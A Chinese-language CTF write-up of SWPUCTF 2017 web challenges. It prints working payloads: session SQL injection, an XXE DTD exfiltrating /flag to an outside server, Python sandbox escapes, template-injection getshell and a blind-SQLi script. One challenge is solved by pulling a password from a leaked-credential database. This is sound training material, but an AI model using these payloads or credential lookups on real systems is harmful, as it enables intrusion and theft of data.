抽空和小伙伴做了一下swpuctf,打了个第七名。我主要负责做了web,部分题目还是比较好玩的。下面是我做出来的web部分的writeup。
A3E7137D-C073-493C-9EA2-6B080FEEEEAE.png

web1 你能进入后台吗?

地址: http://39.106.13.162/login.php
描述:登录进来就给你flag啦(#.#)

根据tips存在index.php.bak以及该文件经过了php-screw的加密。html页面源码中给出了一些解密参数,替换一下解密就好。解出来以后是个md5注入,这个就不多讲了。

web2 catch me if you can

地址:http://47.93.205.124/
描述:黑客入侵了我的网站并挂了黑页,最重要的是还偷走了我留给各位师傅的flag…请各位师傅帮助我抓住这个黑客并找到我的flag

这是一道纯社工题,给了tip以后很快就拿了一血。打开题目是一个黑页,发现留下了一个hacked by 音速猴子(2831787443),猜测2831787443是个qq号。
加了好友看下空间,发现一个base64编码,解码以后8001端口就是黑客的主页(其实nmap一下就知道了)。提示要找到黑客的小金库,扫了一下发现了后台登录地址manage_login.php。整个主页下方有个163邮箱,拿去社工库里面一查得到了 sonic2011/2010sonic, 登录了以后就getflag。
885CE69E-9A9A-46B9-AD0B-6CE8C15D0419.png

web3 我们来做个小游戏吧

地址:http://47.104.18.71/www.zip
描述:欧洲人据说可以为所欲为??

这题也是我的一血。先观察web界面,发现是一个猜数字的游戏,初始有10分,系统随机生成数字1-6,用户猜对数字加1分,猜错数字扣1分,用户积满100分即可得到系统赠送的flag。嗯。果然是个欧洲人的游戏。

开始看代码。

config.php中对所有的输入点都做了一遍addslashes,由此可知除了宽字节基本不存在单个参数的字符型注入。
5D8A304A-B423-4301-9359-6DB21D3730FE.png

index.php实现了主要的游戏逻辑,代码逻辑与题目描述一致。可以看到姓名和分数都存储在session里面,
02D9DBD6-9278-46D2-B69F-CDC03DDB7653.png

E36C8316-CED3-4A3D-8236-C398F1B2F04D.png

正常情况下session已经可以满足需求了,然而题目里面还多了一层与数据库的交互。这一部分主要是由session.class.php来实现,也是本题的关键代码。其中包含sql语句的有以下三个函数。
C4E6C7CD-2915-4FB1-B386-0EC7E94C9C79.png

其中在load_session()函数中对全局的session进行了更新,而$_session['data']是从数据库里面查出来的,那我们的目标就是想办法修改数据库里的data字段。
$GLOBALS['_SESSION'] = unserialize($session['data']);

仔细分析一下,三处sql语句中的变量session_id和ip均可控。session_id为从Cookie['SESSID']中获取的内容经过校验以后取前32个字符的结果。校验需要满足A=B,其中

A=session_id的第32个字节开始的内容
B=session_id前32个字节与ip的部分内容拼接后进行crc计算后的结果

A4632E31-9B61-4E85-98BB-42776BA1A761.png

而这里ip可以通过修改xff头来进行控制。那么问题来了,虽然这两个参数可控,但他们都经过了转义该怎么注入呢。

盯着代码看了一晚上终于发现了问题所在。

$tmp_session_id = substr($this->session_id, 0, 32);

$_tmp_session_id截取了前32个字符,如果我们在Cookie['SESSID']中传入的内容的第32个字符是nul,nul经过转义后会变成'\0',它的第32个字符将会是反斜杠,第33个字符是'0',如果能通过校验的话,session_id就会被赋值成tmp_session_id,我们就能够在sql查询的第一个参数session_id中引入一个反斜杠来闭合一个单引号,在第二个可控参数_ip中就可以为所欲为了。

那为了通过校验,我们需要找到一个crc计算结果的第一个字符为'0'的字符串(这也是我传入nul而不是单引号的原因,如果传入单引号,第33个字符就是单引号,无法通过校验)。

如果Cookie['SESSID']中前31个字符为上面所述字符串的内容,第32个字符为nul,最后7个字符为crc的计算结果去掉第一位'0'。且ip中不要带任何的小数点,这样就能通过校验了。(cookie中可以用%00来表示nul字符)

SESSID=000aaaa1aaaaa1aaaaaaaaaaaaaaaaa%00d839474

x-forwarded-for: union select 0x613a323a7b733a343a226e616d65223b733a353a227878787878223b733a353a2273636f7265223b733a333a22393939223b7d#

(因为有addslashes,需要16进制表示a:2:{s:4:"name";s:5:"xxxxx";s:5:"score";s:3:"999";})

IMG20171106_102106.png

web4 师傅们一起来找flag

地址:http://39.106.16.58/index.php
描述:flag不小心丢失了,师傅们来帮忙找找呀!(不用扫描)

赛后做出。这是一道xxe题,代码中过滤了关键字enitity导致无法在post payload中直接添加外部实体,不过依然可以引用外部dtd。

POST /index.php HTTP/1.1
Host: 39.106.16.58
Content-Type: text/xml
Content-Length: 64

<!DOCTYPE root SYSTEM "http://115.159.77.74/test/xxe/evil.dtd">

evil.dtd

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://115.159.77.74/?aaaaa=%file;'>">
%payload;
%send;

查看服务器日志,解码后得到flag{Th1s_1s_4_e4sy_xx3_!@#}
5ED033F4-F80E-4426-9B46-553B71EA1751.png

xml添加实体的官方文档——在 XML 中添加实体

web5 python sandbox

地址:http://47.95.252.234/
描述:Web code editor is convenient to Exercise programming!

赛后做出。本题考察的是python的沙盒绕过。查看了官方的writeup,除了常见的os、command、subprocess等内置库以外,还可以使用timeit库和platform库来进行任意代码或命令执行。

import timeit
timeit.timeit("__import__('os').system('')", number=1)

import platform
platform.popen('id', mode='r', bufsize=-1).read()

web6 You Think I Think

地址:http://39.106.11.158/web1/
描述:I Think You Can Think It!

这题赛后做出。问了下出题人,发现自己被一个log文件坑惨了。给了提示,$this->display('xxxxx'),应该是模版注入。
如果xxxxx可控,即可getshell。

接下来是寻找注入点的过程。修改密码的url如下。
http://39.106.11.158/web1/index.php/home/index/repass/temp/repass.html

根据tp的路由,home是module,index是controller,repass是action。而temp则是传入的参数。这里存在模版注入。
其实只要http://39.106.11.158/web1/index.php/home/index/repass?temp=./Upload/2017-11-05/2ed68d2e617ba4fd393a0631929257a0.jpg就好了。

这里需要注意路径的开头是./Upload而不是/Upload,这里被坑了好久。
thinkphp开发完全手册-模版输出

806B8EFA-1771-4661-8C91-EC3E7F290F7C.png

web7 flag!flag

地址:http://39.106.13.2/web2/file.php?file=index
描述:小明把flag藏在数据库里面,请各位大师傅帮忙找出来吧

http://39.106.13.2/web2/article_show_All.php?a_id=1
a_id 存在注入,不过代码中有sql关键字检测。

通过文件包含漏洞下载到源码
http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=index
http://39.106.13.2/web2/file.php?file=php://filter/read=convert.base64-encode/resource=check

IMG20171106_102634.png
check_url限制了select from等关键字,正常情况下没法进行盲注。要绕过check_url(),需要知道一个小技巧。

发现一个特殊的是parse_url($_SERVER['REQUEST_URI']) 这里也是没见过的黑科技 老外是这么说的 This
function can be bypassed though, as parse_url takes a URL as a
parameter. It does not deal well with URIs.
通过parse_url获取URL的参数有一点儿问题,他并不能很好的处理,如果我们传入的是
///upload.php?cache这样的地址,然后parse_url()处理URL会返回false,那么后面的preg_match就不会匹配到任何字符串了。

https://lorexxar.cn/2016/05/10/asis-bcloud/

附上脚本(因为服务器开启了云盾需要限速,不然会被ban)

# coding=utf-8
import requests
import time

class sqli_scanner(object):
    def __init__(self, iurl, icookie, iinput, im, idelay):
        self.url = iurl
        self.cookie = icookie
        self.input = iinput
        self.m = im
        self.delay = idelay

    def doinject(self, i, num):
        payload = self.m % "ascii(substring((%s),%d,1))>%d"
        payload = payload % (self.input, i+1, num)
        data = {'a_id':payload}
        r = requests.get(self.url, params=data)
        time.sleep(self.delay)
        if('flag' in r.content):
            return True
        else:
            return False

    def getlength(self):
        for i in range(0, 100):
            payload = self.m % "length((%s))=%d"
            payload = payload % (self.input, i)
            data = {'a_id':payload}
            r = requests.get(self.url, params=data)
            time.sleep(self.delay)
            #print r.content
            if('flag' in r.content):
                print 'length:%d' % i
                return i

    def getvalue(self, len):
        flag = ''
        for i in range(len):
            s = 33
            t = 126
            while (s < t):
                m = (s + t) / 2
                result = self.doinject(i, m)
                if result:
                    s = m + 1
                else:
                    t = m
                if (t - s <= 1):
                    if (self.doinject(i, s)):
                        m = t
                        break
                    else:
                        m = s
                        break
                #print m
            flag += chr(m)
            print flag

if __name__ == '__main__':
    url = 'http://39.106.13.2///web2///article_show_All.php'
    sqli_input = "select flag from flag"
    cookie = {}
    m = "1'&(if(%s,1,0))#"
    delay = 1
    s = sqli_scanner(url, cookie, sqli_input, m, delay)
    length = s.getlength()
    s.getvalue(length)

web8 偷懒的出题人

地址:http://39.106.11.158/web1/
描述:I Think You Can Think It!

这题跟去年的web400一样,只是多了一个waf。
提示了nginx配置错误导致源码泄露,首先可以通过 http://182.254.133.111/home../ 下载到源码。
我没做过去年的题目,为了不浪费时间百度了一发wp。去年的writeup:
【CTF攻略】第七届swpu-ctf官方Writeup
试了一些ph师傅博客里面的绕过方式未果,最后发现cookie中的参数可以绕过ngx_lua_waf。
3821AB96-E549-4B89-A61B-415C72F45375.png